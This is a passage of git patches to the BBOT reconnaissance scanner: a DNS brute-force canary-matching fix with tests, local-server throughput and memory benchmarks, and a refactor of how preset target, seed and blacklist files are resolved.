canaries_pre = canaries_list[: int(self.num_canaries / 2)] canaries_post = canaries_list[int(self.num_canaries / 2) :] # sandwich subdomains between canaries @@ -67,8 +67,8 @@ async def dnsbrute(self, module, domain, subdomains, type=None): results = [] canaries_triggered = [] async for hostname, ip, rdtype in self._massdns(module, domain, subdomains, rdtype=type): - sub = hostname.split(domain)[0] - if sub in canaries: + sub = hostname.split(domain)[0].rstrip(".") + if sub in canary_set: canaries_triggered.append(sub) else: results.append(hostname) diff --git a/bbot/test/test_step_1/test_dns.py b/bbot/test/test_step_1/test_dns.py index 9bb89c7070..262458b2bc 100644 --- a/bbot/test/test_step_1/test_dns.py +++ b/bbot/test/test_step_1/test_dns.py @@ -867,3 +867,81 @@ async def test_dns_helpers(bbot_scanner): resolver_file = await scan.helpers.dns.brute.resolver_file() resolvers = set(scan.helpers.read_file(resolver_file)) assert resolvers == {"1.2.3.4", "4.3.2.1"} + + +def test_dnsbrute_canary_check(): + """Test that the DNS brute-force canary detection correctly identifies false positives.""" + from bbot.core.helpers.dns.brute import DNSBrute + + # Simulate what brute.py does with canaries + # The canary list is built from gen_random_subdomains and must be usable + # for membership checks after being converted to a list. + + def fake_gen(n=5): + for i in range(n): + yield f"canary{i}" + + # Bug 1: exhausted generator -- `sub in canaries` always returns False + canaries_gen = fake_gen(5) + canaries_list = list(canaries_gen) + # After list(), the generator is exhausted; `in` on it always returns False + assert "canary0" not in canaries_gen, "generator should be exhausted" + + # The fix: use a set built from the list for O(1) membership checks + canary_set = set(canaries_list) + assert "canary0" in canary_set + assert "canary4" in canary_set + assert "legit" not in canary_set + + # Bug 2: trailing dot from hostname.split(domain) + domain = "example.com" + hostname = "canary0.example.com" + sub_buggy = hostname.split(domain)[0] + assert sub_buggy == "canary0.", "split produces trailing dot" + assert sub_buggy not in canary_set, "trailing dot prevents match" + + # The fix: strip the trailing dot + sub_fixed = sub_buggy.rstrip(".") + assert sub_fixed == "canary0" + assert sub_fixed in canary_set, "after stripping dot, canary is found" + + # Bug 3: variable shadowing in wildcard_domains loop + original_domain = "example.com" + wildcard_domains = { + "example.com": {"A", "CNAME"}, + "sub.example.com": {"A"}, + } + # Simulating the buggy code: `for domain, rdtypes in wildcard_domains.items()` + # would overwrite the `domain` variable + domain = original_domain + for domain, rdtypes in wildcard_domains.items(): + pass + assert domain != original_domain or len(wildcard_domains) <= 1, "domain variable gets shadowed" + + # The fix: use a different loop variable + domain = original_domain + for _wd, rdtypes in wildcard_domains.items(): + pass + assert domain == original_domain, "original domain is preserved with renamed loop var" + + # End-to-end simulation: canary detection with the fix applied + canaries_list = [f"canary{i}" for i in range(10)] + canary_set = set(canaries_list) + wordlist = ["www", "mail", "api"] + subdomains = canaries_list[:5] + wordlist + canaries_list[5:] + + # Simulate massdns returning ALL subdomains (wildcard domain) + massdns_results = [f"{sub}.example.com" for sub in subdomains] + + results = [] + canaries_triggered = [] + for hostname in massdns_results: + sub = hostname.split("example.com")[0].rstrip(".") + if sub in canary_set: + canaries_triggered.append(sub) + else: + results.append(hostname) + + assert len(canaries_triggered) == 10, f"all 10 canaries should be caught, got {len(canaries_triggered)}" + assert len(results) == 3, f"only legitimate subdomains should remain, got {len(results)}" + assert all("canary" not in r for r in results), "no canary subdomains should leak into results" From f848f043aba7ea8a04c6bc327aef704215c5ac84 Mon Sep 17 00:00:00 2001 From: Aconite33 Date: Tue, 31 Mar 2026 12:17:50 -0600 Subject: [PATCH 432/912] remove unused DNSBrute import to fix ruff F401 lint error --- bbot/test/test_step_1/test_dns.py | 1 - 1 file changed, 1 deletion(-) diff --git a/bbot/test/test_step_1/test_dns.py b/bbot/test/test_step_1/test_dns.py index 262458b2bc..de3abd9d61 100644 --- a/bbot/test/test_step_1/test_dns.py +++ b/bbot/test/test_step_1/test_dns.py @@ -871,7 +871,6 @@ async def test_dns_helpers(bbot_scanner): def test_dnsbrute_canary_check(): """Test that the DNS brute-force canary detection correctly identifies false positives.""" - from bbot.core.helpers.dns.brute import DNSBrute # Simulate what brute.py does with canaries # The canary list is built from gen_random_subdomains and must be usable From 1929e24184ec169576c94aa31d689ac5fc5b23df Mon Sep 17 00:00:00 2001 From: liquidsec Date: Tue, 31 Mar 2026 19:43:46 -0400 Subject: [PATCH 433/912] Add comment to _minimize() docstring --- bbot/core/event/base.py | 3 +++ 1 file changed, 3 insertions(+) diff --git a/bbot/core/event/base.py b/bbot/core/event/base.py index 3d047fb8dc..0f86c5466a 100644 --- a/bbot/core/event/base.py +++ b/bbot/core/event/base.py @@ -710,6 +710,9 @@ def _minimize(self): The event object stays alive (for parent-chain references, etc.) but large fields like HTTP response bodies and raw headers are removed. + + So basically, the parent becomes dead inside for the sake of the children. + Just like real life. """ if isinstance(self._data, dict): self._data.pop("body", None) From bdd9e9349bf5a6199c042e142ed2bb59e3c3f8c5 Mon Sep 17 00:00:00 2001 From: liquidsec Date: Wed, 1 Apr 2026 11:48:00 -0400 Subject: [PATCH 434/912] Add scan throughput benchmarks, make HTTP module portable across branches --- .../benchmarks/test_excavate_benchmarks.py | 8 +- .../test_scan_throughput_benchmarks.py | 91 +++++++++++++++++++ 2 files changed, 97 insertions(+), 2 deletions(-) create mode 100644 bbot/test/benchmarks/test_scan_throughput_benchmarks.py diff --git a/bbot/test/benchmarks/test_excavate_benchmarks.py b/bbot/test/benchmarks/test_excavate_benchmarks.py index bbf2f04b4a..8dbeb82fe4 100644 --- a/bbot/test/benchmarks/test_excavate_benchmarks.py +++ b/bbot/test/benchmarks/test_excavate_benchmarks.py @@ -1,7 +1,11 @@ +import importlib.util + import pytest import asyncio from bbot.scanner import Scanner +HTTP_MODULE = "httpx" if importlib.util.find_spec("bbot.modules.httpx") else "http" + class TestExcavateDirectBenchmarks: """ @@ -99,7 +103,7 @@ def _generate_realistic_content(self, index): async def _run_excavate_single_thread(self, text_segments): """Run excavate processing in single thread""" # Create scanner and initialize excavate - scan = Scanner("example.com", modules=["httpx"], config={"excavate": True}) + scan = Scanner("example.com", modules=[HTTP_MODULE], config={"excavate": True}) await scan._prep() excavate_module = scan.modules.get("excavate") @@ -140,7 +144,7 @@ async def track_emit_event(event_data, *args, **kwargs): async def _run_excavate_parallel_tasks(self, text_segments): """Run excavate processing with parallel asyncio tasks""" # Create scanner and initialize excavate - scan = Scanner("example.com", modules=["httpx"], config={"excavate": True}) + scan = Scanner("example.com", modules=[HTTP_MODULE], config={"excavate": True}) await scan._prep() excavate_module = scan.modules.get("excavate") diff --git a/bbot/test/benchmarks/test_scan_throughput_benchmarks.py b/bbot/test/benchmarks/test_scan_throughput_benchmarks.py new file mode 100644 index 0000000000..eaf1c5c3b9 --- /dev/null +++ b/bbot/test/benchmarks/test_scan_throughput_benchmarks.py @@ -0,0 +1,91 @@ +""" +Scan throughput benchmark — measures end-to-end HTTP probing performance. + +Runs a real BBOT scan against a local httpserver, measuring how many +HTTP_RESPONSE events are produced per second through the full scan pipeline. + +Automatically detects the available HTTP scan module (httpx or http/blasthttp). + +Run with: + pytest bbot/test/benchmarks/test_scan_throughput_benchmarks.py -v --benchmark-only +""" + +import asyncio +import importlib.util +from threading import Thread +from http.server import HTTPServer, BaseHTTPRequestHandler + +import pytest + + +BENCH_PORT = 18899 + +# On 3.0: scan module is "httpx", output module is "http" +# On blasthttp branch: scan module is "http", output module is "webhook" +HTTP_MODULE = "httpx" if importlib.util.find_spec("bbot.modules.httpx") else "http" + + +class _BenchHandler(BaseHTTPRequestHandler): + """Minimal HTTP handler — returns 200 with a small HTML body for all paths.""" + + def do_GET(self): + body = f"{self.path}ok".encode() + self.send_response(200) + self.send_header("Content-Type", "text/html") + self.send_header("Content-Length", str(len(body))) + self.end_headers() + self.wfile.write(body) + + def log_message(self, *args): + pass + + +@pytest.fixture(scope="module", autouse=True) +def bench_httpserver(): + server = HTTPServer(("127.0.0.1", BENCH_PORT), _BenchHandler) + t = Thread(target=server.serve_forever, daemon=True) + t.start() + yield server + server.shutdown() + + +def _run_scan(num_urls): + """Run a scan with num_urls directory targets, return (http_responses, total_events).""" + from bbot.scanner import Scanner + + targets = [f"http://127.0.0.1:{BENCH_PORT}/dir{i}/" for i in range(num_urls)] + config = { + "web": {"http_timeout": 10, "http_retries": 0, "ssl_verify": False}, + "scope": {"search_distance": 0, "report_distance": 0}, + "modules": {"speculate": {"ports": str(BENCH_PORT)}}, + "excavate": False, + "aggregate": False, + "cloudcheck": False, + "omit_event_types": [], + } + + scan = Scanner(*targets, modules=[HTTP_MODULE], config=config) + event_counts = {} + + async def _inner(): + async for event in scan.async_start(): + event_counts[event.type] = event_counts.get(event.type, 0) + 1 + + asyncio.run(_inner()) + return event_counts.get("HTTP_RESPONSE", 0), sum(event_counts.values()) + + +class TestScanThroughputBenchmarks: + """Benchmark full scan pipeline throughput.""" + + def test_scan_throughput_100(self, benchmark): + """100 target URLs through the full scan pipeline.""" + result = benchmark.pedantic(_run_scan, args=(100,), rounds=3, warmup_rounds=1) + http_responses, total = result + assert http_responses >= 100, f"Expected at least 100 HTTP_RESPONSE events, got {http_responses}" + + def test_scan_throughput_1000(self, benchmark): + """1000 target URLs through the full scan pipeline.""" + result = benchmark.pedantic(_run_scan, args=(1000,), rounds=3, warmup_rounds=1) + http_responses, total = result + assert http_responses >= 1000, f"Expected at least 1000 HTTP_RESPONSE events, got {http_responses}" From 32aa5a1784d7197064b165c0dcb5fbf1cbc087ac Mon Sep 17 00:00:00 2001 From: liquidsec Date: Wed, 1 Apr 2026 11:58:33 -0400 Subject: [PATCH 435/912] Extract embedded benchmark scripts into standalone files --- .../benchmarks/_scan_memory_subdomain_enum.py | 62 ++++++++ .../test/benchmarks/_scan_memory_web_crawl.py | 86 +++++++++++ bbot/test/benchmarks/test_scan_memory.py | 135 ++---------------- 3 files changed, 162 insertions(+), 121 deletions(-) create mode 100644 bbot/test/benchmarks/_scan_memory_subdomain_enum.py create mode 100644 bbot/test/benchmarks/_scan_memory_web_crawl.py diff --git a/bbot/test/benchmarks/_scan_memory_subdomain_enum.py b/bbot/test/benchmarks/_scan_memory_subdomain_enum.py new file mode 100644 index 0000000000..33b4b997f6 --- /dev/null +++ b/bbot/test/benchmarks/_scan_memory_subdomain_enum.py @@ -0,0 +1,62 @@ +""" +Subprocess script for subdomain enumeration memory benchmark. + +Injects SUBDOMAIN_ENUM_COUNT synthetic DNS_NAME events into a scan +and prints peak tracemalloc memory to stdout. + +Invoked by test_scan_memory.py — not meant to be run directly. +""" + +import gc +import sys +import asyncio +import tracemalloc + +from bbot.scanner import Scanner + +SUBDOMAIN_ENUM_COUNT = int(sys.argv[1]) + +scan = Scanner( + "blacklanternsecurity.com", + modules=[], + output_modules=["python"], + config={ + "dns": {"disable": True}, + "scope": {"search_distance": 0}, + "web": {"spider_distance": 0, "spider_depth": 0}, + "speculate": False, + "excavate": True, + "aggregate": False, + "cloudcheck": False, + }, + force_start=True, +) + + +async def run(): + await scan._prep() + gc.collect() + if tracemalloc.is_tracing(): + tracemalloc.stop() + tracemalloc.start() + events = [] + injected = False + async for event in scan.async_start(): + events.append(event) + if event.type == "SCAN" and not injected: + injected = True + root_event = scan.root_event + for i in range(SUBDOMAIN_ENUM_COUNT): + dns_event = scan.make_event( + f"sub{i}.blacklanternsecurity.com", + "DNS_NAME", + parent=root_event, + context=f"benchmark DNS_NAME {i}", + ) + await scan.ingress_module.queue_event(dns_event, {}) + + +asyncio.run(run()) +_, peak = tracemalloc.get_traced_memory() +tracemalloc.stop() +print(f"PEAK_MB:{round(peak / 1024 / 1024, 2)}") diff --git a/bbot/test/benchmarks/_scan_memory_web_crawl.py b/bbot/test/benchmarks/_scan_memory_web_crawl.py new file mode 100644 index 0000000000..e609220c74 --- /dev/null +++ b/bbot/test/benchmarks/_scan_memory_web_crawl.py @@ -0,0 +1,86 @@ +""" +Subprocess script for web crawl memory benchmark. + +Launches a local HTTP server with NUM_PAGES pages (each BODY_SIZE bytes), +runs a BBOT scan against it, and prints peak tracemalloc memory to stdout. + +Invoked by test_scan_memory.py — not meant to be run directly. +""" + +import gc +import sys +import asyncio +import threading +import tracemalloc +import importlib.util +from http.server import HTTPServer, BaseHTTPRequestHandler + +from bbot.scanner import Scanner + +NUM_PAGES = int(sys.argv[1]) +BODY_SIZE = int(sys.argv[2]) + +HTTP_MODULE = "httpx" if importlib.util.find_spec("bbot.modules.httpx") else "http" + + +class H(BaseHTTPRequestHandler): + def do_GET(self): + if self.path == "/": + links = "".join(f'page{i}' for i in range(NUM_PAGES)) + body = "" + links + "" + elif self.path.startswith("/page"): + i = self.path.replace("/page", "") + links = f'infodetails' + body = "

    Page " + i + "

    " + links + "A" * BODY_SIZE + "" + elif self.path.startswith("/data"): + body = "data endpoint" + else: + self.send_response(404) + self.end_headers() + return + self.send_response(200) + self.send_header("Content-Type", "text/html") + self.end_headers() + self.wfile.write(body.encode()) + + def log_message(self, *a): + pass + + +server = HTTPServer(("127.0.0.1", 0), H) +port = server.server_address[1] +threading.Thread(target=server.serve_forever, daemon=True).start() + +scan = Scanner( + f"http://127.0.0.1:{port}/", + modules=[HTTP_MODULE], + output_modules=["python"], + config={ + "dns": {"disable": True}, + "scope": {"search_distance": 0}, + "web": {"spider_distance": 10, "spider_depth": 10, "spider_links_per_page": NUM_PAGES}, + "speculate": True, + "excavate": True, + "aggregate": False, + "cloudcheck": False, + }, + force_start=True, +) + + +async def run(): + await scan._prep() + gc.collect() + if tracemalloc.is_tracing(): + tracemalloc.stop() + tracemalloc.start() + events = [] + async for event in scan.async_start(): + events.append(event) + + +asyncio.run(run()) +_, peak = tracemalloc.get_traced_memory() +tracemalloc.stop() +server.shutdown() +print(f"PEAK_MB:{round(peak / 1024 / 1024, 2)}") diff --git a/bbot/test/benchmarks/test_scan_memory.py b/bbot/test/benchmarks/test_scan_memory.py index 82c236edff..af4f76dfa6 100644 --- a/bbot/test/benchmarks/test_scan_memory.py +++ b/bbot/test/benchmarks/test_scan_memory.py @@ -9,6 +9,7 @@ import subprocess import sys +from pathlib import Path import pytest @@ -17,11 +18,13 @@ BODY_SIZE = 500_000 # 500 KB per page SUBDOMAIN_ENUM_COUNT = 5000 +_BENCHMARKS_DIR = Path(__file__).parent -def _run_scan_subprocess(script: str) -> float: + +def _run_scan_subprocess(script_path: Path, *args: str) -> float: """Run a scan script in a clean subprocess, return peak memory in MB.""" result = subprocess.run( - [sys.executable, "-c", script], + [sys.executable, str(script_path), *args], capture_output=True, text=True, timeout=600, @@ -34,140 +37,30 @@ def _run_scan_subprocess(script: str) -> float: raise RuntimeError(f"No PEAK_MB in subprocess output:\n{result.stdout[-2000:]}") -# --------------------------------------------------------------------------- -# 1) Web crawl -- httpx visits many pages, excavate processes bodies -# --------------------------------------------------------------------------- - -_WEB_CRAWL_SCRIPT = """ -import gc, asyncio, threading, tracemalloc -from http.server import HTTPServer, BaseHTTPRequestHandler -from bbot.scanner import Scanner - -NUM_PAGES = NUM_PAGES_PLACEHOLDER -BODY_SIZE = BODY_SIZE_PLACEHOLDER - -class H(BaseHTTPRequestHandler): - def do_GET(self): - if self.path == "/": - links = "".join(f'page{i}' for i in range(NUM_PAGES)) - body = "" + links + "" - elif self.path.startswith("/page"): - i = self.path.replace("/page", "") - links = f'infodetails' - body = "

    Page " + i + "

    " + links + "A" * BODY_SIZE + "" - elif self.path.startswith("/data"): - body = "data endpoint" - else: - self.send_response(404); self.end_headers(); return - self.send_response(200) - self.send_header("Content-Type", "text/html") - self.end_headers() - self.wfile.write(body.encode()) - def log_message(self, *a): pass - -server = HTTPServer(("127.0.0.1", 0), H) -port = server.server_address[1] -threading.Thread(target=server.serve_forever, daemon=True).start() - -scan = Scanner( - f"http://127.0.0.1:{port}/", - modules=["httpx"], output_modules=["python"], - config={ - "dns": {"disable": True}, - "scope": {"search_distance": 0}, - "web": {"spider_distance": 10, "spider_depth": 10, "spider_links_per_page": NUM_PAGES}, - "speculate": True, "excavate": True, "aggregate": False, "cloudcheck": False, - "modules": {"httpx": {"batch_size": 25}}, - }, - force_start=True, -) - -async def run(): - await scan._prep() - gc.collect() - if tracemalloc.is_tracing(): - tracemalloc.stop() - tracemalloc.start() - events = [] - async for event in scan.async_start(): - events.append(event) - -asyncio.run(run()) -_, peak = tracemalloc.get_traced_memory() -tracemalloc.stop() -server.shutdown() -print(f"PEAK_MB:{round(peak / 1024 / 1024, 2)}") -""".replace("NUM_PAGES_PLACEHOLDER", str(NUM_PAGES)).replace("BODY_SIZE_PLACEHOLDER", str(BODY_SIZE)) - - class TestWebCrawlMemory: """Measures peak memory during a realistic web crawl with large pages.""" @pytest.mark.benchmark(group="memory_scan_patterns") def test_memory_use_web_crawl(self, benchmark): - peak_mb = _run_scan_subprocess(_WEB_CRAWL_SCRIPT) + peak_mb = _run_scan_subprocess( + _BENCHMARKS_DIR / "_scan_memory_web_crawl.py", + str(NUM_PAGES), + str(BODY_SIZE), + ) benchmark.extra_info["total_memory_mb"] = peak_mb benchmark.extra_info["num_pages"] = NUM_PAGES benchmark.pedantic(lambda: None, iterations=1, rounds=1, warmup_rounds=0) -# --------------------------------------------------------------------------- -# 2) Subdomain enum -- many DNS_NAME events, no heavy bodies -# --------------------------------------------------------------------------- - -_SUBDOMAIN_ENUM_SCRIPT = """ -import gc, asyncio, tracemalloc -from bbot.scanner import Scanner - -SUBDOMAIN_ENUM_COUNT = SUBDOMAIN_COUNT_PLACEHOLDER - -scan = Scanner( - "blacklanternsecurity.com", - modules=[], output_modules=["python"], - config={ - "dns": {"disable": True}, - "scope": {"search_distance": 0}, - "web": {"spider_distance": 0, "spider_depth": 0}, - "speculate": False, "excavate": True, "aggregate": False, "cloudcheck": False, - }, - force_start=True, -) - -async def run(): - await scan._prep() - gc.collect() - if tracemalloc.is_tracing(): - tracemalloc.stop() - tracemalloc.start() - events = [] - injected = False - async for event in scan.async_start(): - events.append(event) - if event.type == "SCAN" and not injected: - injected = True - root_event = scan.root_event - for i in range(SUBDOMAIN_ENUM_COUNT): - dns_event = scan.make_event( - f"sub{i}.blacklanternsecurity.com", - "DNS_NAME", - parent=root_event, - context=f"benchmark DNS_NAME {i}", - ) - await scan.ingress_module.queue_event(dns_event, {}) - -asyncio.run(run()) -_, peak = tracemalloc.get_traced_memory() -tracemalloc.stop() -print(f"PEAK_MB:{round(peak / 1024 / 1024, 2)}") -""".replace("SUBDOMAIN_COUNT_PLACEHOLDER", str(SUBDOMAIN_ENUM_COUNT)) - - class TestSubdomainEnumMemory: """Measures peak memory during a large subdomain enumeration.""" @pytest.mark.benchmark(group="memory_scan_patterns") def test_memory_use_subdomain_enum(self, benchmark): - peak_mb = _run_scan_subprocess(_SUBDOMAIN_ENUM_SCRIPT) + peak_mb = _run_scan_subprocess( + _BENCHMARKS_DIR / "_scan_memory_subdomain_enum.py", + str(SUBDOMAIN_ENUM_COUNT), + ) benchmark.extra_info["total_memory_mb"] = peak_mb benchmark.extra_info["num_subdomains"] = SUBDOMAIN_ENUM_COUNT benchmark.pedantic(lambda: None, iterations=1, rounds=1, warmup_rounds=0) From e9d3f90004bfeb40d37810edfbc0af47c47541f1 Mon Sep 17 00:00:00 2001 From: liquidsec Date: Wed, 1 Apr 2026 12:39:45 -0400 Subject: [PATCH 436/912] Use PresetPath for file resolution in preset targets/seeds/blacklist --- bbot/core/helpers/misc.py | 70 ++++----------------------- bbot/scanner/preset/args.py | 6 +-- bbot/scanner/preset/path.py | 23 +++++++++ bbot/scanner/preset/preset.py | 35 +++++++++----- bbot/test/test_step_1/test_presets.py | 48 ++++++++++++++---- 5 files changed, 95 insertions(+), 87 deletions(-) diff --git a/bbot/core/helpers/misc.py b/bbot/core/helpers/misc.py index 2d464d597d..6c5211762c 100644 --- a/bbot/core/helpers/misc.py +++ b/bbot/core/helpers/misc.py @@ -1128,8 +1128,6 @@ def chain_lists( remove_blank=True, validate=False, validate_chars='<>:"/\\|?*)', - base_dir=None, - source=None, ): """Chains together list elements, allowing for entries separated by commas. @@ -1138,10 +1136,6 @@ def chain_lists( The order of entries is preserved, and deduplication is performed automatically. - When ``try_files`` is True, each entry is checked to see if it is a file path. - Relative paths are resolved against ``base_dir`` first (if provided), then CWD. - Absolute paths are used as-is. - Args: l (list): The list of strings to chain together. try_files (bool, optional): Whether to try to open entries as files. Defaults to False. @@ -1149,10 +1143,6 @@ def chain_lists( remove_blank (bool, optional): Whether to remove blank entries from the list. Defaults to True. validate (bool, optional): Whether to perform validation for undesirable characters. Defaults to False. validate_chars (str, optional): When performing validation, what additional set of characters to block (blocks non-printable ascii automatically). Defaults to '<>:"/\\|?*)' - base_dir (Path, optional): Base directory for resolving relative file paths (e.g. the directory - of the preset YAML file). Relative paths are tried here first, then in CWD. Defaults to None. - source (str, optional): Where the entries came from (e.g. preset filename), included in warning - messages. Defaults to None. Returns: list: The list of chained elements. @@ -1176,21 +1166,15 @@ def chain_lists( if validate: if any((c in validate_chars) or (ord(c) < 32 and c != " ") for c in f): raise ValueError(f"Invalid character in string: {f}") - if try_files: - f_path = _resolve_file_path(f, base_dir) - if f_path is not None: - if msg is not None: - new_msg = str(msg).format(filename=f_path) - log.info(new_msg) - for line in str_or_file(str(f_path)): - final_list[line] = None - continue - elif _looks_like_filename(f): - source_str = f" (from {source})" if source else "" - log.warning( - f'"{f}" looks like a filename but no file was found{source_str}, treating it as a target' - ) - final_list[f] = None + f_path = Path(f).resolve() + if try_files and f_path.is_file(): + if msg is not None: + new_msg = str(msg).format(filename=f_path) + log.info(new_msg) + for line in str_or_file(f): + final_list[line] = None + else: + final_list[f] = None ret = list(final_list) if remove_blank: @@ -1198,42 +1182,6 @@ def chain_lists( return ret -def _resolve_file_path(f, base_dir=None): - """Try to resolve a string as a file path. - - For absolute paths, check directly. For relative paths, try base_dir first - (if provided), then CWD. - - Returns the resolved Path if a file is found, otherwise None. - """ - f_path = Path(f) - if f_path.is_absolute(): - f_path = f_path.resolve() - if f_path.is_file(): - return f_path - return None - # relative path: try base_dir first, then CWD - if base_dir is not None: - candidate = (Path(base_dir) / f_path).resolve() - if candidate.is_file(): - return candidate - candidate = f_path.resolve() - if candidate.is_file(): - return candidate - return None - - -# file extensions that suggest an entry was meant to be a file path -_file_extensions = {".txt", ".csv", ".list", ".lst", ".conf", ".cfg", ".tsv", ".tab", ".text"} - - -def _looks_like_filename(s): - """Return True if s looks like it was meant to be a filename.""" - if "/" in s or "\\" in s: - return True - return Path(s).suffix.lower() in _file_extensions - - def list_files(directory, filter=lambda x: True): """Lists files in a given directory that meet a specified filter condition. diff --git a/bbot/scanner/preset/args.py b/bbot/scanner/preset/args.py index cb4c17ebff..ffda0de2a5 100644 --- a/bbot/scanner/preset/args.py +++ b/bbot/scanner/preset/args.py @@ -403,14 +403,14 @@ def sanitize_args(self): self.parsed.exclude_modules = chain_lists(self.parsed.exclude_modules) self.parsed.output_modules = chain_lists(self.parsed.output_modules) self.parsed.targets = chain_lists( - self.parsed.targets, try_files=True, msg="Reading targets from file: {filename}", source="command line" + self.parsed.targets, try_files=True, msg="Reading targets from file: {filename}" ) if self.parsed.seeds is not None: self.parsed.seeds = chain_lists( - self.parsed.seeds, try_files=True, msg="Reading seeds from file: {filename}", source="command line" + self.parsed.seeds, try_files=True, msg="Reading seeds from file: {filename}" ) self.parsed.blacklist = chain_lists( - self.parsed.blacklist, try_files=True, msg="Reading blacklist from file: {filename}", source="command line" + self.parsed.blacklist, try_files=True, msg="Reading blacklist from file: {filename}" ) self.parsed.flags = chain_lists(self.parsed.flags) self.parsed.exclude_flags = chain_lists(self.parsed.exclude_flags) diff --git a/bbot/scanner/preset/path.py b/bbot/scanner/preset/path.py index 56b74392f3..287294401d 100644 --- a/bbot/scanner/preset/path.py +++ b/bbot/scanner/preset/path.py @@ -63,6 +63,29 @@ def add_path(self, path): self.paths = [p for p in self.paths if not p.is_relative_to(path)] self.paths.insert(0, path) + def find_file(self, filename): + """Search known preset paths for a file of any type (e.g. target lists). + + For absolute paths, checks directly. For relative paths, searches each + known preset path and its subdirectories (consistent with how ``find()`` + uses rglob for preset YAML files), then falls back to CWD. + + Returns the resolved Path if found, otherwise None. + """ + filename_path = Path(filename).expanduser() + if filename_path.is_absolute(): + resolved = filename_path.resolve() + return resolved if resolved.is_file() else None + for path in self.paths: + for match in path.rglob(str(filename_path)): + if match.is_file(): + return match.resolve() + # fall back to CWD + candidate = filename_path.resolve() + if candidate.is_file(): + return candidate + return None + def __iter__(self): yield from self.paths diff --git a/bbot/scanner/preset/preset.py b/bbot/scanner/preset/preset.py index 7f15ea511c..01e6ba681f 100644 --- a/bbot/scanner/preset/preset.py +++ b/bbot/scanner/preset/preset.py @@ -629,8 +629,25 @@ def blacklisted(self, host): def in_target(self, host): return self.target.in_target(host) + @staticmethod + def _resolve_file_entries(entries): + """Resolve relative file paths in target/seeds/blacklist entries via PresetPath. + + Replaces entries that match a file in PresetPath's known directories with + their absolute path, so that chain_lists' existing try_files logic can find them. + Entries that don't match a file are left as-is. + """ + resolved = [] + for entry in entries: + found = PRESET_PATH.find_file(entry) + if found is not None: + resolved.append(str(found)) + else: + resolved.append(entry) + return resolved + @classmethod - def from_dict(cls, preset_dict, name=None, _exclude=None, _log=False, _base_dir=None): + def from_dict(cls, preset_dict, name=None, _exclude=None, _log=False): """ Create a preset from a Python dictionary object. @@ -639,7 +656,6 @@ def from_dict(cls, preset_dict, name=None, _exclude=None, _log=False, _base_dir= name (str, optional): Name of preset _exclude (list[Path], optional): Preset filenames to exclude from inclusion. Used internally to prevent infinite recursion in circular or self-referencing presets. _log (bool, optional): Whether to enable logging for the preset. This will record which modules/flags are enabled, etc. - _base_dir (Path, optional): Base directory for resolving relative file paths in target/seeds/blacklist. Returns: Preset: The loaded preset @@ -652,31 +668,25 @@ def from_dict(cls, preset_dict, name=None, _exclude=None, _log=False, _base_dir= # Handle seeds and targets from dict # for user-friendliness, we allow both "target" and "targets" to be used. we merge them into a single list. target_vals = (preset_dict.get("target") or []) + (preset_dict.get("targets") or []) - _source = f"preset '{name}'" if name else "preset" + # resolve relative file paths via PresetPath (which knows the preset's directory) targets = chain_lists( - target_vals, + cls._resolve_file_entries(target_vals), try_files=True, msg="Reading targets from preset file: {filename}", - base_dir=_base_dir, - source=_source, ) seeds = preset_dict.get("seeds") if seeds is not None: seeds = chain_lists( - seeds, + cls._resolve_file_entries(seeds), try_files=True, msg="Reading seeds from preset file: {filename}", - base_dir=_base_dir, - source=_source, ) blacklist = preset_dict.get("blacklist") if blacklist is not None: blacklist = chain_lists( - blacklist, + cls._resolve_file_entries(blacklist), try_files=True, msg="Reading blacklist from preset file: {filename}", - base_dir=_base_dir, - source=_source, ) new_preset = cls( *targets, @@ -755,7 +765,6 @@ def from_yaml_file(cls, filename, _exclude=None, _log=False): name=filename.stem, _exclude=_exclude, _log=_log, - _base_dir=filename.parent, ) preset._yaml_str = yaml_str preset.filename = filename diff --git a/bbot/test/test_step_1/test_presets.py b/bbot/test/test_step_1/test_presets.py index d820451a26..ff8e4d0214 100644 --- a/bbot/test/test_step_1/test_presets.py +++ b/bbot/test/test_step_1/test_presets.py @@ -1198,18 +1198,26 @@ async def test_preset_serialization(clean_default_config): def test_preset_file_targets(tmp_path): - """Test that file paths in preset target/seeds/blacklist are expanded.""" - # create target files + """Test that file paths in preset target/seeds/blacklist are resolved via PresetPath. + + The preset and its target files live in tmp_path (NOT CWD), so relative paths + like "targets.txt" can only be found if PresetPath adds the preset's directory + to its search paths. This is the core behavior being tested. + """ + import os + + # sanity check: tmp_path is not CWD (otherwise relative resolution is ambiguous) + assert os.getcwd() != str(tmp_path) + + # create target files next to where the preset will live targets_file = tmp_path / "targets.txt" targets_file.write_text("evilcorp.com\n1.2.3.4\n") - seeds_file = tmp_path / "seeds.txt" seeds_file.write_text("seed1.evilcorp.com\nseed2.evilcorp.com\n") - blacklist_file = tmp_path / "blacklist.txt" blacklist_file.write_text("internal.evilcorp.com\n10.0.0.0/8\n") - # test relative paths resolved from preset file directory + # relative paths: resolved from the preset's directory via PresetPath preset_file = tmp_path / "my_preset.yml" preset_file.write_text("target:\n - targets.txt\nseeds:\n - seeds.txt\nblacklist:\n - blacklist.txt\n") preset = Preset.from_yaml_file(str(preset_file)) @@ -1224,15 +1232,23 @@ def test_preset_file_targets(tmp_path): assert "internal.evilcorp.com" in blacklist_inputs assert "10.0.0.0/8" in blacklist_inputs - # test absolute paths + # absolute paths for targets, seeds, and blacklist preset_file2 = tmp_path / "my_preset2.yml" - preset_file2.write_text(f"target:\n - {targets_file}\n") + preset_file2.write_text( + f"target:\n - {targets_file}\nseeds:\n - {seeds_file}\nblacklist:\n - {blacklist_file}\n" + ) preset2 = Preset.from_yaml_file(str(preset_file2)) target_inputs2 = set(preset2._target_list) assert "evilcorp.com" in target_inputs2 assert "1.2.3.4" in target_inputs2 - - # test mixed: file paths + literal targets + seed_inputs2 = set(preset2._seeds) + assert "seed1.evilcorp.com" in seed_inputs2 + assert "seed2.evilcorp.com" in seed_inputs2 + blacklist_inputs2 = set(preset2._blacklist) + assert "internal.evilcorp.com" in blacklist_inputs2 + assert "10.0.0.0/8" in blacklist_inputs2 + + # mixed: file paths + literal targets preset_file3 = tmp_path / "my_preset3.yml" preset_file3.write_text("target:\n - targets.txt\n - extra.evilcorp.com\n") preset3 = Preset.from_yaml_file(str(preset_file3)) @@ -1241,8 +1257,20 @@ def test_preset_file_targets(tmp_path): assert "1.2.3.4" in target_inputs3 assert "extra.evilcorp.com" in target_inputs3 - # test that non-file strings are kept as-is + # non-existent file strings are kept as literal targets preset4 = Preset.from_dict({"target": ["not_a_file.txt", "192.168.1.1"]}) target_inputs4 = set(preset4._target_list) assert "not_a_file.txt" in target_inputs4 assert "192.168.1.1" in target_inputs4 + + # subdirectory: preset in a 